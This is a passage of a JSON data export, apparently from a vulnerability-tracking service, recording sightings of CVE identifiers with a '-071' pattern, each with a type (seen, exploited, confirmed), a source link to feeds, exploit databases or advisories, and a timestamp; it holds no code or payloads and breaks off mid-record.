{"vulnerability": "-071", "sightings": [{"uuid": "d9b823d1-b6e0-4a82-aeac-9c3b45dd9a28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0710", "type": "seen", "source": "MISP/57b5892a-bfd8-49f1-8d6b-4a3d950d210f", "content": "", "creation_timestamp": "2016-08-23T13:21:40.000000Z"}, {"uuid": "9927b75d-aa7b-475e-9bdb-9af1730cb573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0710", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:19.000000Z"}, {"uuid": "4bc51f75-773f-4e38-a673-388790751782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0711", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:19.000000Z"}, {"uuid": "45fc433d-a5a2-4ff9-bad5-2f21471a123c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0712", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:19.000000Z"}, {"uuid": "060942cb-f929-43a7-93b3-2bbd59b27362", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0713", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:19.000000Z"}, {"uuid": "38d69a70-0f4d-4ed8-8335-82c350e759cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0710", "type": "exploited", "source": "https://www.exploit-db.com/exploits/45015", "content": "", "creation_timestamp": "2018-07-13T00:00:00.000000Z"}, {"uuid": "6465b24e-b7e9-4bd9-b39b-41cff67c8d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0710", "type": "exploited", "source": "https://www.exploit-db.com/exploits/39643", "content": "", "creation_timestamp": "2016-03-31T00:00:00.000000Z"}, {"uuid": "35de63c8-b06c-4248-be90-52dbf538a984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0710", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:42.000000Z"}, {"uuid": "a0dc802b-3102-42f7-a54e-9a9668c129b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2003-0714", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:37.000000Z"}, {"uuid": "46dff287-a0c9-4297-9daa-75f503761173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2003-0719", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:37.000000Z"}, {"uuid": "e5d1f6ba-9318-4a9a-8621-591395e88140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0710", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:09:44.000000Z"}, {"uuid": "fe6fe5ac-f72a-49c5-bd76-be939b41578e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0718", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkzy6ulpsw2h", "content": "", "creation_timestamp": "2025-03-23T09:59:06.962068Z"}, {"uuid": "d8668026-b3f2-4a3b-aeb5-79d91576fa5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0714", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3liepxtvbbk2t", "content": "", "creation_timestamp": "2025-02-17T12:15:42.363938Z"}, {"uuid": "10347e02-f03d-42a9-a7f6-dadf05bcc274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0714", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3liezyxcd4i2a", "content": "", "creation_timestamp": "2025-02-17T15:15:21.683617Z"}, {"uuid": "aece5e6c-03e0-4391-b4cc-e228cc0a8773", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2003-0714", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:08:06.000000Z"}, {"uuid": "e4630ad9-820f-4d69-b444-cd74bec8ac91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2003-0719", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:08:06.000000Z"}, {"uuid": "df8b94f2-b681-4059-b489-ee98f2487dbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0717", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ll6va2zzvb24", "content": "", "creation_timestamp": "2025-03-25T08:49:29.695078Z"}, {"uuid": "1479f51d-fc01-4c48-8c1c-edcf4d6b172e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0716", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114422334870286344", "content": "", "creation_timestamp": "2025-04-29T17:04:33.870538Z"}, {"uuid": "57fddd73-cda2-4a43-9f33-48c1d358eedc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0716", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lny2ijvzjz2k", "content": "", "creation_timestamp": "2025-04-29T19:50:33.096468Z"}, {"uuid": "55673289-aad9-43d8-8587-40ec54a212f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2003-0714", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "63852a86-8419-4ca9-83b6-9158b8a64644", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2003-0719", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ssl/ms04_011_pct.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "83f02a47-bf47-48a0-8e17-f99e0c8d99e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0719", "type": "seen", "source": "MISP/24306fae-b16b-4478-9297-d2973cdb583c", "content": "", "creation_timestamp": "2025-08-22T14:52:23.000000Z"}, {"uuid": "10f622aa-0928-45eb-96f1-97369f8b74c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0710", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/apache_jetspeed_file_upload.rb", "content": "", "creation_timestamp": "2018-05-29T15:50:33.000000Z"}, {"uuid": "138931f5-e516-451a-9305-606380ce5df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me72cr4ei32e", "content": "", "creation_timestamp": "2026-02-06T13:50:12.723104Z"}, {"uuid": "fa7b0fa0-0f4b-454c-b21b-282724b01d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0715", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3me72cr4ei32e", "content": "", "creation_timestamp": "2026-02-06T13:50:12.835065Z"}, {"uuid": "94966cf6-3d56-4e7e-bbd8-f2f5292105b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mf7yypev722e", "content": "", "creation_timestamp": "2026-02-19T16:24:33.156711Z"}, {"uuid": "88fa6647-0a25-41c5-a9c9-47b5ea96eda1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/control-systems-moxa-security-advisory-av26-094", "content": "", "creation_timestamp": "2026-02-06T13:26:19.000000Z"}, {"uuid": "37871952-df0a-4536-9b4c-0747a7185575", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0715", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/control-systems-moxa-security-advisory-av26-094", "content": "", "creation_timestamp": "2026-02-06T13:26:19.000000Z"}, {"uuid": "1fdbc482-ff2d-44bb-854e-708e1f09c641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-0714", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mfzn3qtzyat2", "content": "", "creation_timestamp": "2026-03-01T21:01:12.218427Z"}, {"uuid": "d8e3e551-2e83-4f87-8882-1e3c11d2f99a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://bsky.app/profile/hn100.bsky.social/post/3mfznfdx2xx2r", "content": "", "creation_timestamp": "2026-03-01T21:06:07.022613Z"}, {"uuid": "9585bc98-2805-4e40-9262-28b6c88811e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-0714", "type": "seen", "source": "https://bsky.app/profile/hnws.bsky.social/post/3mfznibfhob23", "content": "", "creation_timestamp": "2026-03-01T21:07:43.635256Z"}, {"uuid": "062be482-0788-46a8-aaa6-b5c5705af3a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://bsky.app/profile/news.karthihegde.dev/post/3mfzrkhijhf2t", "content": "", "creation_timestamp": "2026-03-01T22:20:32.270772Z"}, {"uuid": "6c84c3ce-523e-4334-8197-d786b45e30cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-0714", "type": "seen", "source": "https://infosec.exchange/users/threatcodex/statuses/116103786851049772", "content": "", "creation_timestamp": "2026-02-20T15:59:53.361424Z"}, {"uuid": "d6a7502c-f7da-451d-b985-bf64a93c6f7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-0714", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3me5xiuowra2b", "content": "", "creation_timestamp": "2026-02-06T03:27:16.934284Z"}, {"uuid": "14eb1790-6cdf-44ee-be2b-87bc72c7459b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-0715", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3me5xiuowra2b", "content": "", "creation_timestamp": "2026-02-06T03:27:17.048420Z"}, {"uuid": "30c0ab61-43ee-4b3d-8b6e-10d87166a7bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-0714", "type": "seen", "source": "https://bsky.app/profile/nono2357.bsky.social/post/3mffcmyf6pf2t", "content": "", "creation_timestamp": "2026-02-21T19:00:16.107996Z"}, {"uuid": "61efc744-ad19-47cc-9305-5567526193d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/116159235840755413", "content": "", "creation_timestamp": "2026-03-02T11:01:19.012472Z"}, {"uuid": "b6d33540-0f8e-410f-8186-484693f08b61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-0714", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfbkrolljo2r", "content": "", "creation_timestamp": "2026-02-20T07:15:24.595856Z"}, {"uuid": "02f38adc-1243-49bd-889f-9dcc566ddea1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://bsky.app/profile/fluxius.bsky.social/post/3mfoxslo43c2y", "content": "", "creation_timestamp": "2026-02-25T15:13:11.631670Z"}, {"uuid": "af2e9531-19bd-4c44-b361-547a06bbda1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0716", "type": "seen", "source": "https://gist.github.com/konard/4ec7b610dd306e207cf0feb93587dfed", "content": "", "creation_timestamp": "2025-12-30T15:44:52.000000Z"}, {"uuid": "5334c80c-a9cc-434d-8d3b-dab66c094a10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mflqixsfex25", "content": "", "creation_timestamp": "2026-02-24T08:24:32.012534Z"}, {"uuid": "76f0b9be-870c-4185-969d-4fa2f0be3387", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0714", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mf7wooghm522", "content": "", "creation_timestamp": "2026-02-19T15:43:09.378769Z"}, {"uuid": "984a1d23-cf2e-451c-8f5e-1c4a1aab36d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0719", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mbw2xedgcz2t", "content": "", "creation_timestamp": "2026-01-08T13:17:23.700946Z"}, {"uuid": "c0ec930a-c106-4b4f-9fb8-b2bec64379ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0719", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mbw2yekpm52e", "content": "", "creation_timestamp": "2026-01-08T13:17:57.534342Z"}, {"uuid": "24e28c34-0007-4f08-b34c-56c0daad3173", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0719", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mbwbzthdlr2x", "content": "", "creation_timestamp": "2026-01-08T15:24:02.257345Z"}, {"uuid": "a473931e-ca51-4059-9add-c3ff8f44ce91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-0714", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mhogd3sl732h", "content": "", "creation_timestamp": "2026-03-22T20:50:40.944713Z"}, {"uuid": "8c61b3dc-71ec-40c9-8aef-3e47de8b4aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2003-0719", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/16334", "content": "", "creation_timestamp": "2010-09-20T00:00:00.000000Z"}, {"uuid": "a396901d-62d7-4f3a-ad82-74849032df5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0716", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcdwsxcmpm2r", "content": "", "creation_timestamp": "2026-01-14T01:40:36.571160Z"}, {"uuid": "ee3efa4b-59b2-4315-81d0-c7d2cae17c71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0717", "type": "seen", "source": "https://gist.github.com/Darkcrai86/4de4c18716b589fedbfb6c5486ce1960", "content": "", "creation_timestamp": "2026-01-14T07:39:08.000000Z"}, {"uuid": "cba80d2b-eafa-4e9e-a011-fbdd5a4e8437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0717", "type": "seen", "source": "https://gist.github.com/Darkcrai86/da77b9805574fad193daa3baf4695176", "content": "", "creation_timestamp": "2026-01-14T08:11:33.000000Z"}, {"uuid": "4f8305a9-3e18-4d0a-8bef-bfb58596be8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0717", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mcevlm6zon2c", "content": "", "creation_timestamp": "2026-01-14T10:51:16.144922Z"}, {"uuid": "fe865b66-a8c2-4b11-8f30-18431b341f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0716", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mcfpzw3wvk2w", "content": "", "creation_timestamp": "2026-01-14T18:44:41.534098Z"}, {"uuid": "2784de4a-b4ac-4272-9899-58b4b1a54b66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0719", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mcfpzw3wvk2w", "content": "", "creation_timestamp": "2026-01-14T18:44:41.627630Z"}, {"uuid": "ba10a44f-e61c-4d37-86fa-b74fe0631cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0716", "type": "seen", "source": "https://gist.github.com/Darkcrai86/564815f485c70b429e11f0fe5033b511", "content": "", "creation_timestamp": "2026-01-14T18:54:12.000000Z"}, {"uuid": "f22c9081-372d-4734-98b1-3766d44c82af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0713", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mchpeamcva2c", "content": "", "creation_timestamp": "2026-01-15T13:37:46.460100Z"}, {"uuid": "a98f77ed-afb4-4edc-8eb0-6a953fdf2ce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0712", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mchq5onbx22e", "content": "", "creation_timestamp": "2026-01-15T13:51:59.760226Z"}, {"uuid": "797ff4c4-2a14-4a8e-839a-29a27e9f0be8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0713", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mchq5wfeph2u", "content": "", "creation_timestamp": "2026-01-15T13:52:08.141757Z"}, {"uuid": "7e8043c4-d4e1-4991-a8dd-7d27c4688742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0712", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mchq6hbhlo2a", "content": "", "creation_timestamp": "2026-01-15T13:52:25.862654Z"}, {"uuid": "36295e94-aaeb-4974-a70e-676b418a70be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0713", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mchq6ozawy2p", "content": "", "creation_timestamp": "2026-01-15T13:52:33.931840Z"}, {"uuid": "d8c2683f-c8ca-490f-834d-ada3342e7e9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0712", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115899757567671679", "content": "", "creation_timestamp": "2026-01-15T15:12:33.782336Z"}, {"uuid": "5d186f9b-12a8-4573-9f3f-2b20a2929b82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0713", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115899757567671679", "content": "", "creation_timestamp": "2026-01-15T15:12:33.875993Z"}, {"uuid": "b68435c0-7296-4518-84ae-b151428a98a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0719", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mctur5m43223", "content": "", "creation_timestamp": "2026-01-20T09:46:33.252891Z"}, {"uuid": "4a1991f2-f5f0-4af6-910d-c5bbb42a484a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0710", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md3uda7j4c2g", "content": "", "creation_timestamp": "2026-01-23T13:59:55.918160Z"}, {"uuid": "7c9be1a1-cfe7-4a3a-b5e9-14473d440117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0710", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3md3vi4a5g42h", "content": "", "creation_timestamp": "2026-01-23T14:20:33.133026Z"}, {"uuid": "fd36c469-dd6f-4f69-9621-fbf55b888ef9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0719", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3md4j4wtslc2d", "content": "", "creation_timestamp": "2026-01-23T20:12:22.714269Z"}, {"uuid": "2fe0e72a-077b-49a8-956a-0d17bae1cc9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0718", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/11531", "content": "", "creation_timestamp": "2010-02-22T00:00:00.000000Z"}, {"uuid": "d3644ad4-c2e8-4dae-896c-db7b488f7285", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0713", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/33536", "content": "", "creation_timestamp": "2010-01-18T00:00:00.000000Z"}, {"uuid": "3848c2b4-fac3-490c-a5fc-842225bf2cb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2009-0714", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/9007", "content": "", "creation_timestamp": "2009-06-23T00:00:00.000000Z"}, {"uuid": "5c4111d6-6224-48c1-9e50-a7630355822f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2003-0714", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/16820", "content": "", "creation_timestamp": "2010-11-11T00:00:00.000000Z"}, {"uuid": "547abd23-74e0-4672-bf43-a79689cddd2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0712", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/33511", "content": "", "creation_timestamp": "2010-01-14T00:00:00.000000Z"}, {"uuid": "08199e43-cde9-4a30-8261-dcdfd26957b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2009-0710", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/7636", "content": "", "creation_timestamp": "2009-01-01T00:00:00.000000Z"}, {"uuid": "42789d38-88be-4cbe-a8ef-d515ba055944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2010-0714", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/33675", "content": "", "creation_timestamp": "2010-02-25T00:00:00.000000Z"}, {"uuid": "3a2becea-e600-418d-9803-6fee25249e0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2009-0711", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/7636", "content": "", "creation_timestamp": "2009-01-01T00:00:00.000000Z"}, {"uuid": "f6be5184-be74-4ab9-a892-c785dede2f19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "db99543d-496c-4eef-ad0a-2df2093364df", "vulnerability": "CVE-2009-0714", "type": "confirmed", "source": "https://www.exploit-db.com/exploits/9006", "content": "", "creation_timestamp": "2009-06-23T00:00:00.000000Z"}, {"uuid": "7259298b-fb46-4b13-8455-227151b8cff7", "vulnerability_lookup_origin": 